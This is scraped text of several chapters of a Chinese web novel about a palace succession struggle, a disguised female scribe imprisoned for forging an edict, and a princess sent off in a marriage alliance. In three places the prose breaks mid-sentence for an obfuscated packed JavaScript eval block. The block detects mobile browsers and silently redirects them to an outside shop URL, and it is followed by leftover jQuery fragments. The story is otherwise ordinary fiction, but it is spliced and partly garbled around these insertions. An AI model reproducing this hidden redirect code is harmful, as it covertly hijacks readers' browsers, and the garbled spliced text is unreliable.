朝臣们各个战战兢兢离开,脸上又惧又哀。连明相都屈服了,他们更是敢怒不敢言。谁能想到,袁家居然早早就站了大皇子,还帮着一起造反。这样凶狠残暴的人登上皇位,大益的气数……便也将尽了。 江接满意地看着所有人对他露出诚惶诚恐的神色,那种下位者对上位者的臣服令他浑身神清气爽,连薛适戏弄他没代写传位遗诏的事都短暂抛在脑后了。 当然,也有那么几个人,看着他的神色一点惧怕也无。比如明相,以及被明相的人强行拽走的明皇后与他的好四弟。 到了外面,明皇后拼命挣开压制,顾不得凌乱的发和褶皱的衣裙,红着眼道:“阿适……我看见阿适她被大皇子的人带走了。父亲,父亲你救救她好不好?” 江抒也在一旁急道:“外祖,你救救小表舅吧。虽不知大哥……不,江接,虽不知江接为何要带走小表舅,但你看小表舅他那么瘦弱,被带走肯定要撑不住折磨… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13988963|135582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” “啪”得一声,明相一巴掌落在了江抒脸上。明皇后忙伸臂护在江抒身前,眼神倔强又愤然,像是在盯着仇人。 明相却不为所动,只对着江抒沉声道:“我告诉你多少次了,不要为不相干的人费心。你将来是要坐在那个位置上的人,天天善心泛滥,像什么样子。” “我……”江抒还要再说,手却被明皇后紧紧握住,江抒只好垂头沉默着。 “还有你。”明相看向明皇后,提醒道,“被带走的,可不只是薛适。” 说完,便拂袖离开了。 明皇后眨了眨眼,抬头看向天空,江抒在一旁问她:“母后,外祖什么意思?还有谁被带走了吗?” 明皇后压抑哭腔的声音有些颤抖,轻轻道:“没事,没什么……” - 江接跟着袁敏达一起回到了府中,薛适仍旧被关在先前的房间。 江接没有立即去找薛适算账,而是坐在厅上,微微出神,早没了在紫宸殿上那副欣喜嚣张的样子。 他竟觉得心里很空。 明明从三年前他就已经开始准备夺权,一切都已妥当。即便没有遗诏,皇位于他也是唾手可得。 然而临了,他还是选择舍了扬州的安排特意回到长安。他就是想亲自问一问父皇,皇位为何不是传给他,而是江岑许?可等回到长安时,却听闻父皇染病昏迷的消息,不出三日就崩逝了。 他再也无从知晓,为何父皇要更偏爱江执,立江执为太子;为何江执死后,皇位就算传给他的妹妹江岑许,也不会留给他。 为何就是看不到他这个长子…… 难道只是因为他的母妃是舞女,所以他便一辈子都无法爬到高位吗。 江接突然意识到,原来自己想要伪造那一纸从不存在的传位诏书,不单单是为了皇位能够名正言顺。 更重要的是,他想陷入一个自欺欺人的梦—— 父皇看到了他,父皇最是喜欢他,所以会为此,传位于他,将大益的江山交付于他。 “大皇子?大皇子?”袁敏达叫了江接好几声,见他心情不佳,便没继续待在这与他商谈接下来的事,打算先行回自己府邸。 结果刚走到大门,就见门外看守的侍卫不知什么时候皆被抹了脖子,倒在地上。 袁敏达顿时警觉起来,迅速摸上腰间长刀,才小心翼翼踏出门外不到半步,眼前就已横过银色流光,速度极快,饶是袁敏达这样武功高强之人,也远远比不上来人敏捷。 他招招式式都十分被动,无法主动出击,只能一退再退地抵挡。 打斗声响不小,但看守的侍卫却一个没来,想必不是被杀,就是被引走了。 很快,袁敏达精致华贵的衣袍已经被剑划成了交错的蛛网状,左肩、腹部、右脚……皆受了程度不一的伤。 但来人似乎还觉得不解气,甚至丢了手中软剑,一脚将已经力竭的袁敏达踹倒在地,直接赤手空拳就开始往他脸上招呼。 袁敏达从出生到现在从未如此狼狈,就连愤怒地想要叫一声对方的名讳都来不及,只能发出无能的闷哼声。 在袁敏达粗犷的面容终于染上各色淤青、添了多处肿起后,来人才停了手。 袁敏达恨恨看向面前,居高临下满眼狠戾的身影,磨了半天牙才发出断断续续的含糊声音。 “江……岑……许,你、没、死!” 49. 刺痛 “薛适呢,她在哪。” 江岑许死死掐着袁敏达的衣领,力道愈重,声音沉寒落下,像是碎裂的冰。 “小五还真是命大啊。也是,功夫这么好,自然有恃无恐。怎地以前从不和我们切磋?”不等袁敏达开口,江接终于察觉了外面的响动,悠悠走过来。 “只是和三哥学了一点皮毛。怕伤你们自尊,才一直没施展。这不,今日就浅浅过了几招,袁敏达便趴下了,真是不抗揍。看来我以前的决定果然是对的。” “……” 根本不是过几招,而是江岑许单方面的施暴!袁敏达怒瞪着江岑许,想要躬起腰挥臂反抗,不想江岑许已经松开手,闪到一旁,令他好不容易存的那点体力直接落了空。 江岑许没再看袁敏达,而是朝着江接讥诮地勾了勾唇:“不说我,大哥不也是?兵马够多,自然有恃无恐,敢做春秋大梦。” “你……”纵然彼此都挑明了对方的伪装,但听及“梦”这个字,还是气得江接怒火中烧。 深知江岑许能把人噎个半死的嘴,他索性不再谈论这个话题,转而挑衅地笑了笑:“……你回来得急,想必还不知道吧?不日你就要去关塞和亲了,此为父皇遗诏。” 江岑许眸光滞了滞,面上却点头道:“知道,那又怎么了?哦,大哥是想说,本宫实乃风云人物。不然只区区和个亲,怎么一路上都能听到人人讨论此事?” “不过和亲关塞对我来说只是换个地方享乐,无甚区别。”江岑许轻描淡写地开口,好像在说别人的事,听得江接脸色一阵红一阵白,只觉一拳打在棉花上。 江岑许没管他奇差无比的脸色,只懒懒摩挲着染血的剑身:“我现在只想知道,薛适在哪。你是想我杀进去,还是……”他将剑抵在自己脖颈,唇边笑意无畏而妖冶,“我直接死在这?” “若关塞人刚一知道我和亲的消息,就传出我死在了大哥这里,你说,关塞的人会是什么想法? 无论他们存没存想通过和亲来交好的心思,都会觉得被戏弄了吧?尤其传言中,关塞王子什勒不可一世、霸道蛮横。届时他一气之下加剧侵略,大益内外动荡,你这江山,还有命坐稳么?” 即便很不想承认,但江岑许的确说得有道理。江接渐渐平复好心神,不再跟着江岑许刻薄又气人的话走,而是静下心思忖。 虽然这和亲遗诏是假的,但眼下却不能戳穿。不然等他逼迫薛适重新写下传位遗诏,定会引人联想传位遗诏也是假的。 而明文昌虎视眈眈,一旦让他咬上伪造遗诏的事,定会将所有污水都泼在自己身上。经扬州一行和今日紫宸殿上的事,他的声名更是比不上明文昌一介老臣的声望。 左右不过是让江岑许见薛适一面,有他的人看着,江岑许再厉害还能耍出什么花招?即便刚刚她能把袁敏达和看守的侍卫打败,不过是因为趁了袁敏达在他这易放松警惕和这段时日的疲惫,再加上更多防守的侍卫都被他留在了大明宫外围。 这么想了一通,江接一点也不气了,甚至有了陪江岑许演戏的兴致,又端出以前时常伪装的好哥哥慈爱样:“何需小五如此?我带你去看薛待诏便是。” “说来小五真不必生气薛待诏被敏达所俘,她女扮男装入朝为官可是欺君死罪。敏达和我,不过是顺应天理,匡扶朝纲。” “不过小五应该早知道了吧?毕竟薛待诏可是你最喜爱的面首。” 江岑许藏在袖下的手倏地收紧,面上却散漫道:“是男是女,只要能哄得我开心,不就行了?” “……” 在江接从各个角度挑衅江岑许不仅无果,还把自己气得不行之后,他终于不甘心地闭了嘴。 薛适被关的房间极为隐秘,主要源于门的设计与院墙几乎融为一体,状似隐形,因而不熟悉江接府邸的外人很难发现。 只是,江岑许跟着江接走到时,却看见明相站在门口。 “方才忘了同小五说了,明相因担心薛待诏,也想见一见她。” 明文昌知晓了薛适在他这,又以亲戚这层关系要求见面,他若是没有正当理由拒绝,定会引得老奸巨猾的明文昌生疑,索性应了下来。反正薛适女扮男装欺君确凿,他关着她也挑不出错。 “薛适真是胡来,若不是大皇子告知,本相竟一直不知她为女子。大皇子明纪遵礼,不用念及她与我的关系,该怎么处置就怎么处置。眼下见见她,已经算是仁至义尽了。” 这话不假,他确实才知薛适为女子。但他来这,却不是为了看薛适,而是想试探江岑许。 看见江岑许活着回来,明相心底骤然生寒。纵然底下的人早传了消息给他,但此刻亲眼看见江岑许好端端地站在这,只觉悔恨更甚。 他派了那么多人杀她都没成功,足以见得这些年他一直小瞧了她,甚至被她的伪装给骗了。不然早早除掉江岑许,也不会有昭景帝传位给江岑许的遗诏。 他本不想装样子过来看薛适,但听说江岑许一回京就远远甩开萧乘风一路打听薛适的消息,再联系薛适伪造让江岑许和亲的遗诏,他实在觉得奇怪。 薛适教导过江岑许书法,两人也算走得近,为何还要伪造一封让江岑许和亲敌国的遗诏,置她于死地,甚至不惜得罪江接? 他担心这是江岑许的授意,两人早已达成计划,只为借和亲关塞金蝉脱壳,但苦于一时无法查证,便打算借看望薛适的机会查探一番。 思忖间,江接已经让人打开了门。薛适被绑在椅子上,即便听到了声响,依旧闭着眼睛,宁静而平和的模样。 “孽障,竟做出女扮男装此等违逆天理之事,如何对得起先帝对你的赏识、娘娘对你的爱护?”明相的语调虽无剧烈的起伏,但反倒因此更具威压,说着就要以长辈的姿态,扬手落下巴掌。 薛适不觉得意外。 江接会说出她女扮男装是迟早的事,何况她还违背了江接的意思,没有伪造传位于他的遗诏。 只是,她的脸上并未挨下预想中火辣辣的痛,反而是下巴被人忽然捏紧,迫得她不得不仰起头。 薛适缓缓睁开眼。 熟悉的千叶莲绽在眼前,像是将莲池中的水汽也带了出来,润湿着她的视线,寸寸朦胧。 薛适很慢很慢地眨了眨眼,泪水断落在来人虎口的位置,又滑过手背。 她的目光在眼前人的面庞上游曳。 唇色虽不似以往红润,但也不再那般苍白,想是身体已无大碍了。 下颌的轮廓锋利很多,更加瘦削了。 眼睛…… 薛适对上那双被面具圈括的漂亮眼眸,未等看清时,捏在下巴的手又加重了力道。 然后,她听见属于五公主的声音,极沉极冷,对她道:“薛待诏真是好本事。嘴上说要和本宫一起,结果转头就抛下本宫自己逃跑了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027904|135582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他下巴紧绷,双唇因抑制着怒意几次张张合合,最后彻底散溢,落下个讥讽的弧度,“想投奔他?那一开始就不要和我说这样的话。 我这人厌恶的东西很多,但最讨厌的,就是背叛。” 江岑许看着薛适迷茫而无措的水眸,望向他的时候眼泪止不住地砸在手上,灼烫又刺痛。哪怕是被利刃刺穿手掌,都不会有这么疼。 他将手移开,转而压在薛适的后颈,欺身逼近。 若不是靠在她耳侧出口的话冰冷又阴狠,带着浓重的杀意,也许会有人以为,这是一个小心翼翼的拥抱。 薛适听见江岑许用只有他们两个能听清的声音,一字一顿问她:“和亲遗诏,是你写的吧?” “是。” 她不后悔,也没想瞒他,所以回得一点不犹豫。 只是,这样的姿势下,薛适也就无法看到,江岑许眼中剧动的眸光。 像是破碎的琉璃盏,没能护住最爱的鱼。 “既如此,你最好祈祷本宫死在关塞。否则若你还活着,本宫一回长安就要你死。” 他恢复声调说完,直接从腰间甩出软剑,抬手就要砍向薛适的脖子。 “小五。” 江接见江岑许竟动了真格,想到她为了找薛适不惜直接在自己面前对袁敏达动武,要是疯起来怕真会一剑杀了薛适,赶忙出声阻止,“国有国法,莫要动私刑。待我将此事报给刑部,再定罪处置也不迟。” 薛适现在不能死,他还要留着她重拟传位遗诏。 江岑许玩味地晃了晃剑尖,半晌,才收手点头:“也是,大哥和明相都是尊礼法的人,眼中容不得沙子,想必定不会让我失望。” 说完,江岑许便头也不回地转身离开了。 “那老夫也告辞了,多谢大皇子今日给我教训晚辈的机会。” 明相稍稍放了心。 江岑许本就偏执,又真对薛适上了心,也难怪有些失控,外泄的怒意和杀意不可遏制。 而薛适虽在那时被江岑许挡住了身形看不见神色,但此刻看她泪水潸然,定是受了惊吓。 看来是他想多了,薛适伪造和亲遗诏不过是担心江岑许会报复她的背叛,所以耍了小聪明先下手为强。 …… 两人先后离开,薛适却没有任何察觉。 她觉得自己一直在发抖。 因为江岑许好像,真的恨她了…… 薛适本以为,江岑许只是像以前一样为了骗过江接和明相在同她做戏。 可当看到他眼中喷薄盛烈的愤怒与杀意时,薛适犹豫了。 她找不出他做戏的一点虚假,也捉不住他藏掩的半分温柔。 可是,她从未想要抛下他,也从未背叛他。 她只是,运气不太好,采药时被人抓住了…… 但现在看来,这些无法在江接和明相眼前告诉的真相,要成为她永远的秘密了。 同她对那朵遥远的花的喜欢一起,至死难言。 被人冤枉,真是一件令人非常难过的事呐…… 不知为何,她忽然想到第二次见面时,大福殿的红梅树下,江岑许轻佻问她,是要做“她”的面首,还是要与“她”共沉沦。 她可能再也没有机会告诉江岑许,这迟来的回答。 她希望—— 山河犹在,公主亦不会沉沦。 他不会沉沦。 50. 纷涌 江岑许出来的时候,只是一路朝前走。 他走得很快,一刻不停,直到经过荣宝楼时,才渐渐止了脚步。 奔了一路才堪堪追上他的萧乘风喘着气:“你不要命了!” “伤还没好利索就一个人闯进江接的老巢,还直接跟袁敏达动了手。”饶是萧乘风来得及时,带人帮他引开了看守的侍卫,也还是觉得危险。“你怎么了?这么冲动可不像你。是因为担心薛适?” 萧乘风万万没想到薛适会是女子,怪不得眼前这厮一直明里暗里地对人家多有关照。 江岑许没答,而是突然问他:“要不要吃毕罗?” “都什么时候了,你……” 然而江岑许话是在问他,但压根没打算征求他的想法,说完就兀自踏了进去,直接和小二点了一碟毕罗。 荣宝楼里人不少,但谈论的话题却出奇一致。一部分在说江接于紫宸殿上斩杀异己带兵围宫,意欲强横夺位;一部分在说先帝竟留了封让五公主和亲关塞的遗诏。 萧乘风气道:“关塞主战,根本无意和平,让你和亲无非是送死。皇上生前就已接到北边守城将领上奏的折子,又怎会再留下这样的遗诏? 我说句实话,你别不爱听。薛适虽是为你采药才暴露受伤,但她被袁敏达俘走后,因女扮男装被发现,估计迫于保命已经向江接他们屈服了。你想想,袁敏达没杀薛适反而留她性命把人从洛阳带回了长安,然后就有了这封说也说不通、想也想不明的遗诏。 答案显而易见,薛适已经听命于江接,伪造了这封遗诏。不然除了她,整个大益谁会有这样的笔墨本事?” “那江接何不直接让薛适伪造将皇位传给他的遗诏?” 萧乘风一愣:“这……” “而且,即便我不去和亲,就能在江接和明相手中活下来吗。这一次能逃,是因为我传信让你支援的时间早于他们派人刺杀的时间,但下次呢?下下次呢?反正江接耗得起,又何必多此一举借和亲要我性命。” 萧乘风一时哑口无言。 的确,他们早就想到了这样的结局,不是吗。洛阳城郊,江岑许已决心堵上一切,暴露所有力量去抗衡江接、抵御关塞,直到死亡的那一刻。 只是他们谁也没想到,会有这封和亲的遗诏。像是送死,但好像比起原本的破釜沉舟,又多了存活的可能。 “那你打算怎么做?” 虽然他们有着“婚约”,但在两国和平面前,也无法以此来违抗所谓的遗诏。 毕竟,大家永远重于小家,哪怕和亲未必就能换来止战和平。 “先把卫一几个好好安葬。然后……”江岑许盯着碟中的毕罗,却未聚拢视线,似在想着谁。蒸腾的热气模糊了他的眼眸,不甚清晰,却反倒因此显得无比温柔。 “我会去和亲。” …… 什勒接到大益打算送公主过来和亲的消息时,哈哈大笑,无尽的讽刺与鄙夷。他猖狂道:“这大益皇室也不过如此。孤还没怎么打呢,竟就怕了?” 什雅一身华贵干练的王女服饰,闻言眉心蓦地一蹙,但出口的话却并无波澜:“阿兄打算如何?迎娶五公主吗?”她不动声色地提道,“记得五公主的母亲是我们关塞人,幼时同阿父一起长大。这样看来,还真是不好决定呢。” “有什么不好决定的?是他们大益自己上赶着送,孤又何需派人娶。看在父王的面上,就让他们暂时喘息一段时日,孤可以先不继续挥兵,但南边已经打仗的几个城,孤可不会停下。就看大益公主有没有命活着跨越那几座城,抵达我关塞了。” 言外之意,和亲只换得来江岑许从大益到关塞路上这些时日的和平,等到陷入战火的边关,公主“死于刀剑无眼”,他便可继续挥兵。既应了大益和亲的请求,又没耽误他南下称霸,岂不两全其美? “阿兄……英明。只是礼不可废,不如我带几个人装装迎亲使者的样子,前去大益迎五公主回来? 不然天下人又该说我们关塞野蛮无礼了。”什雅说完,还不满地哼了声。 “雅雅不怕被误伤?”什勒不信任任何人,即便是眼前这个骄纵又烂漫的妹妹,他想了想,“那孤也派几个人跟你一起,好保护你。” “好啊,阿兄最好了。”什雅笑着抱住什勒的胳膊,但心里却清楚知晓,这不过是什勒的监视,怕她会做出挣脱他掌控的事。 那就看看吧,阿兄。 你想让五公主死于不可控的战火,你想通过扩张来发展关塞,全然不顾士兵生死、百姓恐慌,玩弄所有渴望和平的心…… 我偏要想尽一切办法阻止。 - 眼下虽是二月中旬,气温些许转暖,但对于处在北方的长安,还是冷得厉害。春花尚没露俏,冰雪也未彻底消融,再加上这几天大益内外皆动荡,即便是一向不受天气影响的长安百姓,也没了走街串坊、说笑热闹的兴致。 好在关塞传来了消息,将于一个月后由王女什雅带领使者迎亲。虽然北朔及北边几个城池战事仍在持续,但关塞明显不再像前段时间那样猛烈进攻,也未再对除此之外的其它地方挥兵。饶是京中百姓人人都骂关塞小国荒蛮、就知道钻空子,但也明白好战的关塞能做到现在这样的退步,已是因和亲一事奏了效。 只是可怜了五公主…… 谁都知,若不能彻底打退关塞,让他们再无侵略之心,那此刻的和平不过是镜花水月,关塞依旧会发动战事。毕竟关塞弹丸之地,少河干旱,而南边的大益国土广阔,山河壮丽,怎会不令他们眼馋? 因而,当五公主天天在宫中好一番闹腾,不是调戏大皇子手下围宫的侍卫,就是找袁将军干架……比起以往更加肆无忌惮、处处都闹得鸡犬不宁时,百姓也都觉得可以理解。 人生得意须尽欢。关塞苦寒,五公主命都难保,现在放纵放纵怎么了? 反倒是这大皇子,除了还未找到他口中先帝留下的传位遗诏,所作所为俨然已经把自己当成了皇帝。 诸如告诉礼部,不必操办五公主和亲事宜,嫁妆什么的也无需准备,不然都白白送给了关塞人;又让袁将军带人挨家挨户地敲打了番朝臣,明摆着告诉对方,你不顺我,就等着死;然后又以明相年纪大了,应回家颐养天年,多给年轻人机会,免了他的宰相之职,打算提拔自己的人;就连四皇子,也被他以开荒拓土为名,欲送到天高皇帝远的荒凉地,不日就要启程。 桩桩件件,江接做得极为畅快,但在百姓口中的名声也愈加败裂。当然,也 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诚然,这样的事放在平时,定会引起不小的讨论。但现在,不等这颗石子掀起波澜,就已被“大皇子何时称帝登基、五公主和亲能否顺利、北边战事如何”等消息给淹没了。 - 薛适对自己女扮男装的事供认不讳,因此并未受太重的刑罚。 就是一直待在黑暗里,她有些冷,也有些怕。总是不受控地想起小时候,父亲把她关在漆黑的房间里拿鞭子打她的场景。有时候是因她学武学得慢,一边打一边骂她蠢货、废物;有时候是因父亲在外不顺,受了气,需打她发泄,抒心中郁结。 但那时,娘亲还在。她虽疼,却不会怕,因为娘亲会一直陪着她,把她抱在怀里,给她唱歌。 然后,她就会很安心很安心地睡着。同样是黑,但入眠时的暗,却是宁静且引人沉醉的。 只是,她好像做了个梦。 梦里,翰林院的同僚们过来看她,刘掌院抹着胡子上沾着的眼泪,说无论她是男是女,永远都是大家心中最好的书待诏。 她还看到宣凝郡主撇着小嘴,泪流满面,抽泣着说出破碎的字句。 “我……我还等着你从扬州回来,再教我制其它样式的纸呢……你怎么、怎么就……呜呜呜我舍不得你,可是爹爹也救不下你……该怎么办、怎么办呀……” 她记得,自己应是笑着看向每一个人的,还很用力地朝他们挥了手,说“很抱歉,骗了大家……但能认识你们,真得很开心。” 然后,又过了很久。 她似乎听到一阵急切的脚步声传来,打破了牢中沉闷又压抑的静。 她迷迷糊糊地抬眸,透过牢门的栏杆,最先看到飘曳的衣角。 视线向上,是腰间悬着的妃色香袋,随着来人变缓却凌乱的脚下步伐,微微晃动。 最后,静止。 站定。 但她已经什么都看不见了,只觉头痛得厉害。昏昏沉沉的感觉,像是在无垠的黑暗中沉浮下坠。 最后的那点意识,她好像听见自己没头没尾地说了句—— “这一次,我在你的梦里,没有哭。” 51. 离别 江岑许一身黑色夜行衣,拿着从萧乘风那儿借的令牌,以萧侯世子手下小将军的名义走了进来。 打点好的守卫将钥匙递给他,江岑许径直奔向尽头那间牢房。 吱嘎一声,牢门被打开,视线再无遮挡。 但心底最深处却像被密密匝匝的石头堵住,找不出一丝缝隙。每一次跳动,都会摩擦碰撞过挤压的血肉,撕扯般的痛。 薛适就那样孤零零地躺在草席上。 一身白衣,但因沾染太多灰尘,已看不出原本的纯净。平素簪着的发髻也已披散,此刻因她蜷缩着身子,乌发顺着脖颈、肩头,垂落在地,衬得她的身形更加单薄。 一向生机勃勃、最是爱笑的人,此刻却紧紧闭着眼,惨白而干裂的唇微微翕动,似在说着什么。容颜苍白得过分,在微弱的光下像是被晕染成透明,好似稍稍一触,便会彻底消散。 江岑许坐在她身边,搭在薛适后颈的手微一用力,将人拥进了怀里。 眼中滚烫随之凝结掉落,再无法克制。薛适肩上一点濡湿,但衣衫却未褶皱,他没有收紧力气,只是很轻很轻地拥着她。 若是触碰更多,渴望便愈加强烈,他怕捱不过看不见她的以后,也怕难以确定的人生承载不住对她的心意。 只是这样,就很好。 只要让他再染上些独属于她的气息和味道,就够了。 怀中的人浑身滚烫,应是发了高烧。她昏睡着,不知觉喃道:“殿下……” “嗯,是我。” “我在这里。” 江岑许松开怀抱,让薛适躺在自己膝上,拿起脱下的斗篷,紧紧围裹在她身上。 “有些……怕……”薛适没有哭,只是无意识地、断断续续重复着。语调平和依旧,没有显露丝毫脆弱,从容而轻渺,却更令他心脏抽疼。 江岑许一手死死握成拳,另一手一下一下顺着她的发,冷峭的面容只唇边一点笑,吹散眉间寒霜。他温声道:“很快,你就可以不害怕了。 你会活着的。我不会让任何人杀你。” “只是,对不起……那时说了让你伤心的话。但,薛适,”江岑许有些哽咽,将她紧紧攥在手心、被他悄然换过的毛笔簪子抽出,重新为她束好头发,“你为我做的,我都知道。车前草、遗诏……所有一切,我都知道。” “所以,我真正想告诉你的是…… 如果,我能从关塞活着回来,第一件事就是去见你。” “我们不是约好了吗,等江接的事解决,会好好地,重新认识一下。” “你那么聪明,也许早就知道了我的真实身份。” “但我还是想亲自告诉你,”江岑许低着头,一记吻落在薛适发间,那支由他亲手做的庙子石簪子上。 “我叫江执。” “一个……很喜欢很喜欢你的人。” - 薛适再次醒来时,周遭已不是漆黑阴冷的牢房,而是熟悉且温暖的蓬莱殿。 明茵握着她的手,坐在床边睡着,薛适见她倦容明显,应是很久未好好休息了。 头还有些昏沉,她觉得自己好像仍在梦里,回到了去年被拂年掳走后,袁敏达带人用毒箭刺中她的时候。 记得当时,江岑许以萧乘风手下小将军的身份将她救走,找大夫给她施了银针,再次醒来后就是在蓬莱殿,也如现在这样,有明茵在她身边。 薛适闭了闭眼复又重新睁开,几次之后,眼前依旧。 所以……不是梦。 这时,明茵察觉到床上的响动,立即睁开眼,见薛适已经醒来,正笑看着她,眼泪瞬间夺眶而出:“阿适……你昏迷了大半个月,我好害怕你会一直睡下去,醒不过来……” 大夫说薛适箭伤未愈就受了惊,着了凉,最重要的是心中郁结太深,比起高烧,她的心病更难愈。 薛适张了张嘴,但喉间实在太过干涩胀痛,她说不出话。 眼前,明茵正轻柔地抚着她的面庞,薛适伸手为她拭过泪,摇了摇头,表示自己已经没事了。 她指了指自己,明茵看懂了她的意思,是在问她怎会被放出来。 明茵吸了吸鼻子,整理好情绪,将薛适昏迷这段时间发生的事一一说来。 “……虽然抒儿不愿坐在那个位置,我亦不想继续被困在大明宫,但……这已经不是我们两个能决定的了。好在,大益现在也算安定。” 明茵说完,见薛适垂下眸,长睫颤动着,脸色又白了些,以为她还是不舒服,忙关切道:“我再去叫大夫过来给你瞧瞧,看看接下来的休养需注意什么。” 明茵走后,薛适望着她的背影,无声启唇:娘娘,抱歉…… 她急急披上外袍,踩着鞋子就往外跑。 明茵告诉她,今日是五公主和亲关塞的日子,队伍才从宣微殿出发没多久。 薛适从蓬莱殿出来一路向南,接连穿过紫宸门、宣政门,然后爬上含元殿的高台,却仍看不见逐渐远去的和亲队伍。 她拼命往下跑,可是用尽了力气,也还是没能赶在走完龙尾道之前,捕捉到他的身影,只能眼睁睁看着他早已消失在视线尽头。 送完江岑许的萧乘风,恰好在回来时看到薛适。 他忍不住想要上前问个明白,但想到江岑许,他又停下了脚步。 江岑许走之前,让他把所有证据都交给了江抒。 萧乘风不明白:“反正江接这么一闹腾,已是声名败裂。明文昌那边,更不可能任由自己的宰相之位被夺和江抒被送走。 何况,他已经暗中联合文人日日跪在紫宸殿外控诉江接的种种行径,除此之外,手下府兵也已集结。江接自大惯了,可能都忘了除袁家和我萧家外,就属明家兵力最多。他和袁敏达再怎么样,也玩不过老奸巨猾的明文昌,想必用不了多久就得倒台,由江抒顺利当上傀儡皇帝,大权更加集中在明文昌手里。 已成定局的事,你又何需送上苦苦搜集的证据,平白给江抒和明文昌添了好名声?” “因为我想提前送江接上路。”江岑许眉目低凛,厉声道,“等明文昌准备好一切,薛适早在江接兴风作浪的这段时日中没命了。” 他想到薛适以前为江抒和明茵写的代笔信,想到春蒐上江抒对薛适的亲近,“你把证据交到江抒手中,有他和明茵在,一定会保住薛适的命。” “而且除了薛适外,三年前死于三日采的扬州百姓,还有一直受江接愚弄的扬州信众,理应有人为他们讨回公道。难道只因对我们无用了,就弃而不做么?” “……行。” 萧乘风明白江岑许说得对,但还是忍不住问:“但,你就这么相信薛适,到现在还想着保她的命?她可是明家的人。 万一她是和明文昌联手故意伪造遗诏,先置你于死地,再等你到达关塞后声称是江接让她伪造遗诏,心有不轨残害皇妹,如此江接又多了一罪。而明文昌背地里借和亲遗诏欲除掉你的事因让江接一并背了锅,他自己却是坐收渔翁得利继而……” “你不也说是万一么。”江岑许打断他,语调坚决。 “我不想用她的命来赌。” …… 记忆停歇,画面切至眼前。萧乘风看见薛适被明茵殿内的侍女们追上,扶着她发抖的身子又给她披上更加暖和的狐裘。 明茵赶过来时亦是满脸担忧,口型俨然是在问她为何一声不吭就跑了出来,身子现在本就虚弱。 萧乘风重重叹了口气,觉得薛适人缘还真好,宣凝郡主也是日日哭着来找他,要他想办法救下薛适。 他转身往宫外走,没再继续看下去。 龙尾道上,薛适 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093346|135582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着明茵,忽然伸手,抱住了她。 明茵心上一颤:“阿适,是不是我刚刚话说得太重了?我实在担心你,所以才……” 薛适埋在明茵的肩上,摇了摇头,眼泪止不住地掉。 她只是怕,错过今日这一面,她和他便再也不会见到了…… - 后来,再次回想江岑许离开以后的大明宫,其实又发生了很多事,但薛适的记忆却很淡了。 江岑许和萧乘风早已将所有证据准备齐全,徐桓应等人的证词也都可与之印证,江抒作为唯一的皇子顺利登基,成为大益新的皇帝。 江接因谋逆之名被处死。至于袁家,明相看在袁老将军的面子上,只是将所有人贬为庶人流放,并未满门抄斩。 接着,如萧乘风所料,江岑许即将抵达关塞的消息传回大益后,明文昌果然指出薛适为江接伪造和亲遗诏的事。 但萧乘风不知的是,明文昌此举是为了震慑薛适擅作主张,破坏了他原本让奚玄潜到江接身边,揭露江接伪造传位遗诏的计划。 不过,因和亲遗诏早在江岑许看过后就已先一步烧毁了,明文昌无法拿到那封伪造的遗诏再度进行甄别,确切处置薛适的罪行。 江抒暗暗松了口气,择了最轻的刑罚,将薛适关入地牢数月,施以拶刑。 等薛适从地牢出来时,已是年底,长安百姓却是人心惶惶。 在她入狱没多久,五公主及和亲队伍还未彻底进入关塞境内,就死在了北朔的战火中。 江抒为其封号寂晖,但因关塞又加剧了对北边的攻势,北朔等城池已经失守,江抒难以及时派人接回五公主的尸身。 而当务之急在于对抗关塞,袁家大势又已去,满朝大多是文臣,只有萧家、明家和半个薛家,武将还算多些。 于是,萧乘风主动请缨,自请赴北平乱。 萧乘风走那天,薛适有默默去送他。 她看着萧乘风,眼前却出现了另一抹身影。她伸出手,想要抓住些什么,可五指却突然颤抖起来,又麻又胀。 这已经不是第一次了。受过拶刑后,她的手似乎远不如从前灵敏,对外界的感知也变得迟缓,有时杯中的热水溅出些在手背,她看着烫红的地方,都没觉得痛。尤其天气冷的时候,更是容易红肿。她试过几次,连笔都无法握稳,更遑论随心把控力道写字。 薛适垂下眸,她不相信自己的手会一直这样执不起笔。 亦如她不相信……江岑许真的死了。 即便薛适想起江岑许对她说,若他活着,一回到长安就会让她死。 可她还是没有逃去别的城,执拗地将代笔所需的所有东西装在箱笼,从初到长安时的平康坊搬到了通化坊摆摊。 因为,她喜欢代笔,无论发生什么都不会放弃。 也因为,都亭驿在这。这样江岑许回来了,她能立马知道,也好说出当年未能解开的误会。 此去三年,薛适克服着伤痛,一日不落地坚持习字,慢慢习惯了现在这双较为笨重的手,代起笔来依旧如初。 